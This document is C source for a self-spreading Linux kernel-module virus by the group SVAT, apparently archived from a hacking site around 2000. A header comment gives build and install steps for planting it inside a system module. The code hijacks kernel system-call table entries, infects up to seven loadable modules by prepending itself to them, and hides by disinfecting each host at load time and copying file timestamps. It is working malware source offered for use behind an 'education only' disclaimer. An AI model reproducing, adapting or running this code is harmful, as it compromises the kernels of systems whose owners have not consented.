/* SVAT - Special Virii And Trojans - present: * * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=- * * 0kay guys, here we go... * As i told you with VLP I (we try to write an fast-infector) * here's the result: * a full, non-overwriting module infector that catches * lkm's due to create_module() and infects them (max. 7) * if someone calls delete_module() [even on autoclean]. * Linux is not longer a virii-secure system :( * and BSD follows next week ... * Since it is not needed 2 get root (by the module) you should pay * attention on liane. * Note the asm code in function init_module(). * U should assemble your /usr/src/.../module.c with -S and your CFLAG * from your Makefile and look for the returnvalue from the first call * of find_module() in sys_init_module(). look where its stored (%ebp for me) * and change it in __asm__ init_module()! (but may it is not needed) * * For education only! * Run it only with permisson of the owner of the system you are logged on!!! * * !!! YOU USE THIS AT YOUR OWN RISK !!! * * I'm not responsible for any damage you may get due to playing around with this. * * okay guys, you have to find out some steps without my help: * * 1. $ cc -c -O2 module.c * 2. get length of module.o and patch the #define MODLEN in module.c * 3. $ ??? * 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o * 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o * >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< * 6. $ insmod ??? * * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and * kernel 2.0.33. It works. * * greets (in no order...) * * NetW0rker - tkx for da sources * Serialkiller - gib mir mal deine eMail-addy * hyperSlash - 1st SVAT member, he ? * naleZ - hehehe * MadMan - NetW0rker wanted me to greet u !? * KilJaeden - TurboDebugger and SoftIce are a good choice ! * * and all de otherz * * Stealthf0rk/SVAT */ #define __KERNEL__ #define MODULE #define MODLEN 7104 #define ENOUGH 7 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} /* i'm not sure we need all of 'em ...*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #define __NR_our_syscall 211 #define MAXPATH 30 /*#define DEBUG*/ #ifdef DEBUG #define DPRINTK(format, args...) printk(KERN_INFO format,##args) #else #define DPRINTK(format, args...) #endif /* where the sys_calls are */ extern void *sys_call_table[]; /* tested only with kernel 2.0.33, but thiz should run under 2.x.x * if you change the default_path[] values */ static char *default_path[] = { ".", "/linux/modules", "/lib/modules/2.0.33/fs", "/lib/modules/2.0.33/net", "/lib/modules/2.0.33/scsi", "/lib/modules/2.0.33/block", "/lib/modules/2.0.33/cdrom", "/lib/modules/2.0.33/ipv4", "/lib/modules/2.0.33/misc", "/lib/modules/default/fs", "/lib/modules/default/net", "/lib/modules/default/scsi", "/lib/modules/default/block", "/lib/modules/default/cdrom", "/lib/modules/default/ipv4", "/lib/modules/default/misc", "/lib/modules/fs", "/lib/modules/net", "/lib/modules/scsi", "/lib/modules/block", "/lib/modules/cdrom", "/lib/modules/ipv4", "/lib/modules/misc", 0 }; static struct symbol_table my_symtab = { #include X(printk), X(vmalloc), X(vfree), X(kerneld_send), X(current_set), X(sys_call_table), X(register_symtab_from), #include }; char files2infect[7][60 + 2]; /* const char kernel_version[] = UTS_RELEASE; */ int (*old_create_module)(char*, int); int (*old_delete_module)(char *); int (*open)(char *, int, int); int (*close)(int); int (*unlink)(char*); int our_syscall(int); int infectfile(char *); int is_infected(char *); int cp(struct file*, struct file*); int writeVir(char *, char *); int init_module2(struct module*); char *get_mod_name(char*); /* needed to be global */ void *VirCode = NULL; /* install new syscall to see if we are already in kmem */ int our_syscall(int mn) { /* magic number: 40hex :-) */ if (mn == 0x40) return 0; else return -ENOSYS; } int new_create_module(char *name, int size) { int i = 0, j = 0, retval = 0; if ((retval = old_create_module(name, size)) < 0) return retval; /* find next free place */ for (i = 0; files2infect[i][0] && i < 7; i++); if (i == 6) return retval; /* get name of mod from user-space */ while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60) j++; DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i); return retval; } /* we infect modules after sys_delete_module, to be sure * we don't confuse the kernel */ int new_delete_module(char *modname) { static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; retval = old_delete_module(modname); if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; for (i = 0; files2infect[i][0] && i < 7; i++) { strcat(files2infect[i], ".o"); if ((s = get_mod_name(files2infect[i])) == NULL) { return retval; } name = strcpy(name, s); if (!is_infected(name)) { DPRINTK("try 2 infect %s as #%d\n", name, i); infected++; infectfile(name); } memset(files2infect[i], 0, 60 + 2); } /* for */ /* its enough */ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } /* lets take a look at sys_init_module(), that calls * our init_module() compiled with * CFLAG = ... -O2 -fomit-frame-pointer * in C: * ... * if((mp = find_module(name)) == NULL) * ... * * is in asm: * ... * call find_module * movl %eax, %ebp * ... * note that there is no normal stack frame !!! * thats the reason, why we find 'mp' (return from find_module) in %ebp * BUT only when compiled with the fomit-frame-pointer option !!! * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) * you should find mp at -4(%ebp) . * thiz is very bad hijacking of local vars and an own topic. * I hope you do not get an seg. fault. */ __asm__ (" .align 16 .globl init_module .type init_module,@function init_module: pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ /* and the parameter for init_module2() */ call init_module2 popl %eax xorl %eax, %eax /* all good */ ret /* and return */ .hype27: .size init_module,.hype27-init_module "); /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work: * * pushl %ebx * movl %ebp, %ebx * pushl -4(%ebx) * call init_module2 * addl $4, %esp * xorl %eax, %eax * popl %ebx * ret */ /*----------------------------------------------*/ int init_module2(struct module *mp) { char *s = NULL, *mod = NULL, *modname = NULL; long state = 0; mod = vmalloc(60 + 2); modname = vmalloc(MAXPATH + 60 + 2); if (!mod || !modname) return -1; strcpy(mod, mp->name); strcat(mod, ".o"); MOD_INC_USE_COUNT; DPRINTK("in init_module2: mod = %s\n", mod); /* take also a look at phrack#52 ...*/ mp->name = ""; mp->ref = 0; mp->size = 0; /* thiz is our new main ,look for copys in kmem ! */ if (sys_call_table[__NR_our_syscall] == 0) { old_delete_module = sys_call_table[__NR_delete_module]; old_create_module = sys_call_table[__NR_create_module]; sys_call_table[__NR_our_syscall] = (void*)our_syscall; sys_call_table[__NR_delete_module] = (void*)new_delete_module; sys_call_table[__NR_create_module] = (void*)new_create_module; memset(files2infect, 0, (60 + 2)*7); register_symtab(&my_symtab); } open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; unlink = sys_call_table[__NR_unlink]; if ((s = get_mod_name(mod)) == NULL) return -1; modname = strcpy(modname, s); load_real_mod(modname, mod); vfree(mod); vfree(modname); return 0; } int cleanup_module() { sys_call_table[__NR_delete_module] = old_delete_module; sys_call_table[__NR_create_module] = old_create_module; sys_call_table[__NR_our_syscall] = NULL; DPRINTK("in cleanup_module\n"); vfree(VirCode); return 0; } /* returns 1 if infected; * seek at position MODLEN + 1 and read out 3 bytes, * if it is "ELF" it seems the file is already infected */ int is_infected(char *filename) { char det[4] = {0}; int fd = 0; struct file *file; DPRINTK("in is_infected: filename = %s\n", filename); BEGIN_KMEM fd = open(filename, O_RDONLY, 0); END_KMEM if (fd <= 0) return -1; if ((file = current->files->fd[fd]) == NULL) return -2; file->f_pos = MODLEN + 1; DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); BEGIN_KMEM file->f_op->read(file->f_inode, file, det, 3); close(fd); END_KMEM DPRINTK("in is_infected: det = %s\n", det); if (strcmp(det, "ELF") == 0) return 1; else return 0; } /* copy the host-module to tmp, write VirCode to * hostmodule, and append tmp. * then delete tmp. */ int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); /* append hostcode */ cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } int disinfect(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in disinfect: in = %d out = %d\n",in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM close(in); DPRINTK("in disinfect: filename = %s\n", filename); unlink(filename); in = open(filename, O_RDWR|O_CREAT, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; file2->f_pos = MODLEN; cp(file2, file1); BEGIN_KMEM close(in); close(out); unlink(tmp); END_KMEM return 0; } /* a simple copy routine, that expects the file struct pointer * of the files to be copied. * So its possible to append files due to copieng. */ int cp(struct file *file1, struct file *file2) { int in = 0, out = 0, r = 0; char *buf; if ((buf = (char*)vmalloc(10000)) == NULL) return -1; DPRINTK("in cp: f_pos = %d\n", file1->f_pos); BEGIN_KMEM while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0) file2->f_op->write(file2->f_inode, file2, buf, r); file2->f_inode->i_mode = file1->f_inode->i_mode; file2->f_inode->i_atime = file1->f_inode->i_atime; file2->f_inode->i_mtime = file1->f_inode->i_mtime; file2->f_inode->i_ctime = file1->f_inode->i_ctime; END_KMEM vfree(buf); return 0; } /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { int r = 0, i = 0; struct file *file1, *file2; int in = 0, out = 0; DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM disinfect(path_name); r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } char *get_mod_name(char *mod) { int fd = 0, i = 0; static char* modname = NULL; if (!modname) modname = vmalloc(MAXPATH + 60 + 2); if (!modname) return NULL; BEGIN_KMEM for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) { memset(modname, 0, MAXPATH + 60 + 2); modname = strcpy(modname, default_path[i]); modname = strcat(modname, "/"); modname = strcat(modname, mod); if ((fd = open(modname, O_RDONLY, 0640)) > 0) break; } close(fd); END_KMEM if (!default_path[i]) return NULL; return modname; } /* www.hack.co.za [2000]*/